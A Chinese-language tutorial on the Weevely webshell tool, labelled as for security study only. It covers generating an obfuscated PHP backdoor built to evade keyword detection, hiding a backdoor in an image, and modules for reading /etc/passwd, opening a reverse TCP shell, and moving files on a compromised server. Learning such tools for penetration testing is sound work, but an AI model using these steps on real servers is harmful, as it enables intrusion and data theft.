前言
Weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(仅限于PHP),在linux上使用时还是很给力的,就是某些模块在Windows上无法使用,总的来说还是非常不错的一款工具。
仅用于安全学习教学之用,禁止非法用途
木马生成和命令格式
生成Weevely专用的木马
命令格式:weevely generate <password> <path>
注意:密码长度最小为4
后门生成(参数)
generate.php(生成php后门文件)
generate.img(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess)
生成后的PHP后门,是base64加密过的,将服务端代码分散放入单字符的变量中,同时夹杂大量无用字符(@.,随机字符)以绕过一些关键词的匹配。将分散的代码按顺序拼接,再使用str_replace去掉无用字符,最后由create_function创建匿名函数,执行。
木马生成和连接
- 上传木马后进行连接,不论连接是否成功都会返回一个weevely session
- 通过执行命令(包括weevely的命令以及系统命令)来检测连接是否成功
- 如果能够执行命令则说明连接成功,如果weevely没有反应则代表连接失败
- 出现中文乱码问题
这是因为kail字符编码问题,这里可以临时修改设置一下字符编码,终端 >> 设定字符编码 >>简体中文
常用命令
在虚拟终端模式下使用模块时,需要在前面加上‘:’。
- audit.systemfies [logs|root|home|…]
枚举各种系统目录并寻找可读写的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等等(注意该模块目前只支持linux,Windows不支持) - audit.userfiles
枚举用户目录下的具有权限的文件(可加载用户字典),默认情况下字典很小(注意:该模块目前只支持linux,windows不支持) - audit.phpconf
查看php配置信息 - audit.etcpasswd [-real]
查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户 - audit.mapwebfiles
从制定url开始爬取目标站点结构,可用-depth参数来指定爬取深度 -
shell.sh/shell.php
利用接口执行命令,和虚拟终端类似 -
system.info
在weevely里比较由用的一个模块,可以获取到系统的基本信息 - backdoor.reverstcp host port [-vector]
反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等) - backdoor.tcp -port <listen_port> -no-connect [-vector]
在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路) - net.ifaces
查看网络ip地址 - file.upload lpath rpath
上传本地文件到目标站点指定路径 - file.rm filename [-recursive] [-vector]
删除指定文件,可开启安全确认模式 - file.check
用以检查目标站点下文件的状态(md5值,大小,权限等) - file.download rpath lpath [-vector]
将目标站点上的文件下载到本地(可用于批量会话操作) - file.edit filename
对指定文件进行编辑 - file.read filename
读取指定文件内容 -
file.ls path
列觉指定路径的文件信息 - file.upload2web
将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入) - file.webdownload <webfile_path> filename
从其他服务器上下载文件到目标站点 - file.touch rpath
创建一个新文件